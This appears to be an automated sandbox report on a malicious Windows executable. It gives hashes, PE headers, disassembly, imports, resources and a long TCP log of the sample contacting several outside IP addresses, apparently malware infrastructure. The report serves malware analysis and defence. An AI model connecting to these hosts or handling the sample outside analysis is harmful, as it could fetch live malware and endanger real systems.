C:\Users\user\AppData\Roaming\dfhwrav:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.100027517135632
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	149504
MD5:	1cf06beb83d2bd1afd1b9b62994e7549
SHA1:	88bd7da7668fb669b5503696ee0a9c0f2dbeceb7
SHA256:	4dc0de570728f75f844c7afb84ac6c809ef4620dac3b12a884ff9916f5b5b0ee
SHA512:	79196551edcb7850817c3132971d25423bd6861849e21926e03647b0d4ee76d3ee7cbe456c78d046167f196991e3d286c393a8abc22e8218ed148bc90090ffd9
SSDEEP:	3072:TD+CPq0Ubn6u2DUp5Gcw2FPOXDMMMMfq2SQw7Se1Ei4KY+NzfOFV:W0qln6u2I8q25wV4V+NzcV
TLSH:	02E3D0013690E072C19348755931C2F17B3BBA32E8B9894B7B5446AF4F722D2BB3674B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q.'.5.I.5.I.5.I.....4.I.+...$.I.+...].I..]2.2.I.5.H...I.+.....I.+...4.I.+...4.I.Rich5.I.................PE..L.....5a...........

File Icon


Icon Hash:	d0b4b0e0e0eaf0c0

Static PE Info

General

Entrypoint:	0x404c97
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x61352E95 [Sun Sep 5 20:54:45 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2ac0f7085258eff31142b9f87cb0f218

Entrypoint Preview

Instruction
call 00007F9AF0E4AECCh
jmp 00007F9AF0E450ADh
sub eax, 000003A4h
je 00007F9AF0E45254h
sub eax, 04h
je 00007F9AF0E45249h
sub eax, 0Dh
je 00007F9AF0E4523Eh
dec eax
je 00007F9AF0E45235h
xor eax, eax
ret
mov eax, 00000404h
ret
mov eax, 00000412h
ret
mov eax, 00000804h
ret
mov eax, 00000411h
ret
mov edi, edi
push esi
push edi
mov esi, eax
push 00000101h
xor edi, edi
lea eax, dword ptr [esi+1Ch]
push edi
push eax
call 00007F9AF0E4643Eh
xor eax, eax
movzx ecx, ax
mov eax, ecx
mov dword ptr [esi+04h], edi
mov dword ptr [esi+08h], edi
mov dword ptr [esi+0Ch], edi
shl ecx, 10h
or eax, ecx
lea edi, dword ptr [esi+10h]
stosd
stosd
stosd
mov ecx, 004219A8h
add esp, 0Ch
lea eax, dword ptr [esi+1Ch]
sub ecx, esi
mov edi, 00000101h
mov dl, byte ptr [ecx+eax]
mov byte ptr [eax], dl
inc eax
dec edi
jne 00007F9AF0E45229h
lea eax, dword ptr [esi+0000011Dh]
mov esi, 00000100h
mov dl, byte ptr [eax+ecx]
mov byte ptr [eax], dl
inc eax
dec esi
jne 00007F9AF0E45229h
pop edi
pop esi
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0000051Ch
mov eax, dword ptr [004225B0h]
xor eax, ebp
mov dword ptr [ebp-04h], eax
push ebx
push edi
lea eax, dword ptr [ebp-00000518h]
push eax
push dword ptr [esi+04h]
call dword ptr [00401170h]
mov edi, 00000100h

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[C++] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x10a9c	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x57000	0x3050	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1280	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2cd8	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x23c	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x107d4	0x10800	False	0.5119702888257576	data	6.1002379149502355	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x12000	0x44268	0x10a00	False	0.9444313909774437	data	7.840969501400703	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x57000	0x3050	0x3200	False	0.62859375	data	5.648259802287169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
JEBOPOZUSUHARAFA	0x59430	0x55f	ASCII text, with very long lines (1375), with no line terminators	Raeto-Romance	Switzerland
RT_ICON	0x572b0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Raeto-Romance	Switzerland
RT_ICON	0x57978	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Raeto-Romance	Switzerland
RT_ICON	0x57ee0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Raeto-Romance	Switzerland
RT_ICON	0x58f88	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Raeto-Romance	Switzerland
RT_STRING	0x59b78	0x2d8	data	Raeto-Romance	Switzerland
RT_STRING	0x59e50	0x1fc	data	Raeto-Romance	Switzerland
RT_ACCELERATOR	0x59990	0xa0	data	Raeto-Romance	Switzerland
RT_GROUP_ICON	0x593f0	0x3e	data	Raeto-Romance	Switzerland
RT_VERSION	0x59a30	0x148	x86 executable not stripped

Imports

DLL	Import
KERNEL32.dll	OpenMutexW, GetConsoleAliasExesLengthA, CopyFileExA, ReadConsoleOutputCharacterW, CompareStringW, SetVolumeLabelA, FillConsoleOutputAttribute, GetConsoleTitleA, QueryDosDeviceW, EnumCalendarInfoExA, GetProcessPriorityBoost, IsProcessInJob, AddConsoleAliasW, CreateFileW, SetMailslotInfo, GetWindowsDirectoryW, GetModuleHandleA, GlobalLock, CreateDirectoryExW, GetLogicalDriveStringsA, ReadConsoleInputA, FindNextVolumeMountPointW, OpenWaitableTimerA, GetVersionExA, SearchPathA, MoveFileExW, CallNamedPipeW, GetCurrentDirectoryW, GetDriveTypeA, CreateMailslotA, BuildCommDCBAndTimeoutsA, GetProcAddress, LoadLibraryA, LocalAlloc, GetBinaryTypeA, GetCPInfoExW, WriteConsoleOutputA, GetCommandLineA, EnumDateFormatsW, CancelTimerQueueTimer, GetHandleInformation, FindResourceA, CreateJobObjectA, FindFirstVolumeA, GlobalFlags, CreateNamedPipeW, InterlockedIncrement, CloseHandle, CopyFileW, GetComputerNameExA, GetShortPathNameA, FlushFileBuffers, GetLogicalDriveStringsW, InterlockedCompareExchange, EnumCalendarInfoW, GetConsoleAliasExesLengthW, InterlockedExchange, GetNamedPipeHandleStateW, GetModuleHandleW, GetCurrentActCtx, GenerateConsoleCtrlEvent, MoveFileW, AddAtomA, SetThreadPriority, FreeEnvironmentStringsW, SetConsoleTitleW, SetVolumeMountPointW, VirtualAlloc, _hread, EnumResourceLanguagesW, ClearCommBreak, QueryMemoryResourceNotification, GlobalFindAtomA, HeapWalk, SetFilePointer, GetTickCount, EnumSystemCodePagesW, VerifyVersionInfoA, LoadLibraryW, CreateFileA, GetLastError, WideCharToMultiByte, HeapReAlloc, HeapAlloc, HeapFree, UnhandledExceptionFilter, SetUnhandledExceptionFilter, DeleteFileA, GetStartupInfoA, GetCPInfo, InterlockedDecrement, GetACP, GetOEMCP, IsValidCodePage, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, GetCurrentThreadId, TerminateProcess, GetCurrentProcess, IsDebuggerPresent, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, HeapCreate, VirtualFree, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, GetEnvironmentStringsW, SetHandleCount, GetFileType, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, LCMapStringA, MultiByteToWideChar, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, SetStdHandle, GetConsoleCP, GetConsoleMode, RtlUnwind, InitializeCriticalSectionAndSpinCount, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, HeapSize, ReadFile
GDI32.dll	GetCharWidthA, GetCharABCWidthsA
WINHTTP.dll	WinHttpSetOption

Possible Origin

Language of compilation system	Country where language is spoken	Map
Raeto-Romance	Switzerland

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2022 00:10:58.035403967 CET	49719	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:10:58.229374886 CET	80	49719	200.46.66.71	192.168.2.6
Nov 30, 2022 00:10:58.229625940 CET	49719	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:10:58.231497049 CET	49719	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:10:58.231524944 CET	49719	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:10:58.421336889 CET	80	49719	200.46.66.71	192.168.2.6
Nov 30, 2022 00:10:59.088948011 CET	80	49719	200.46.66.71	192.168.2.6
Nov 30, 2022 00:10:59.088963032 CET	80	49719	200.46.66.71	192.168.2.6
Nov 30, 2022 00:10:59.089210033 CET	49719	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:10:59.089210033 CET	49719	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:10:59.284754992 CET	80	49719	200.46.66.71	192.168.2.6
Nov 30, 2022 00:10:59.588172913 CET	49721	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:10:59.871526003 CET	80	49721	211.59.14.90	192.168.2.6
Nov 30, 2022 00:10:59.875227928 CET	49721	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:10:59.875227928 CET	49721	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:10:59.878920078 CET	49721	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:00.162935019 CET	80	49721	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:01.062212944 CET	80	49721	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:01.062257051 CET	80	49721	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:01.062350035 CET	49721	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:01.062437057 CET	49721	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:01.345091105 CET	80	49721	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:01.563965082 CET	49722	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:01.758471966 CET	80	49722	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:01.758625984 CET	49722	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:01.770284891 CET	49722	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:01.770348072 CET	49722	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:01.964965105 CET	80	49722	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:03.587111950 CET	80	49722	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:03.587126970 CET	80	49722	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:03.587363958 CET	49722	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:03.587455988 CET	49722	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:03.620733023 CET	49723	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:03.785115004 CET	80	49722	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:03.808873892 CET	80	49723	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:03.811898947 CET	49723	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:03.812041044 CET	49723	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:03.813934088 CET	49723	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:04.007215977 CET	80	49723	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:04.692003965 CET	80	49723	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:04.692301035 CET	49723	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:04.697622061 CET	80	49723	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:04.697813034 CET	49723	80	192.168.2.6	200.46.66.71
Nov 30, 2022 00:11:04.730303049 CET	49724	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:04.877301931 CET	80	49723	200.46.66.71	192.168.2.6
Nov 30, 2022 00:11:05.019064903 CET	80	49724	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:05.019351006 CET	49724	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:05.019576073 CET	49724	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:05.019609928 CET	49724	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:05.307938099 CET	80	49724	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:06.213625908 CET	80	49724	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:06.213686943 CET	80	49724	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:06.213804007 CET	49724	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:06.220859051 CET	49724	80	192.168.2.6	211.59.14.90
Nov 30, 2022 00:11:06.239725113 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:06.507853985 CET	80	49724	211.59.14.90	192.168.2.6
Nov 30, 2022 00:11:06.509285927 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:06.509438038 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:06.509569883 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:06.779181957 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:06.779318094 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:06.779341936 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:06.779361963 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:06.779381037 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:06.779402018 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:06.779421091 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:06.779442072 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:06.779469967 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:06.779474974 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:06.779491901 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:06.779517889 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:06.779524088 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:06.779562950 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:06.779591084 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.049257040 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.049336910 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.049379110 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.049421072 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.049422979 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.049462080 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.049470901 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.049504042 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.049546957 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.049582005 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.049603939 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.049649954 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.049675941 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.049690962 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.049731970 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.049753904 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.049786091 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.049829006 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.049858093 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.049870014 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.049920082 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.049925089 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.049959898 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.049999952 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.050004005 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.050044060 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.050085068 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.050086975 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.050128937 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.050247908 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.319905043 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.319977999 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.320123911 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.320178986 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.320230961 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.320242882 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.320281982 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.320342064 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.320350885 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.320364952 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.320466042 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.320518017 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.320576906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.320626974 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.320682049 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.320740938 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.320791960 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.320842028 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.320883036 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.320892096 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.320941925 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.320956945 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.320991993 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.321042061 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.321099997 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.321158886 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.321208954 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.321217060 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.321259975 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.321278095 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.321310043 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.321358919 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.321408033 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.321456909 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.321476936 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.321507931 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.321557999 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.321559906 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.321608067 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.321656942 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.321657896 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.321707964 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.321758032 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.321759939 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.321809053 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.321857929 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.321866035 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.321908951 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.321958065 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.321959972 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.322007895 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.322057009 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.322061062 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.322112083 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.322161913 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.592087984 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592130899 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592175961 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592217922 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592221975 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.592258930 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592288971 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.592300892 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592341900 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592359066 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.592377901 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592417955 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592431068 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.592459917 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592498064 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592514038 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.592540979 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592580080 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592583895 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.592617035 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592659950 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592670918 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.592700005 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592741013 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592747927 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.592778921 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592818975 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592819929 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.592859983 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592900991 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592905998 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.592941046 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592981100 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.592983007 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.593019009 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593060970 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593096018 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593136072 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593174934 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593198061 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.593198061 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.593198061 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.593218088 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593254089 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593262911 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.593297005 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593306065 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.593333960 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593375921 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593393087 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.593408108 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593445063 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593485117 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593497038 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.593522072 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593537092 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.593559027 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593596935 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593610048 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:07.593637943 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593677998 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:07.593686104 CET	49725	80	192.168.2.6	123.253.32.170
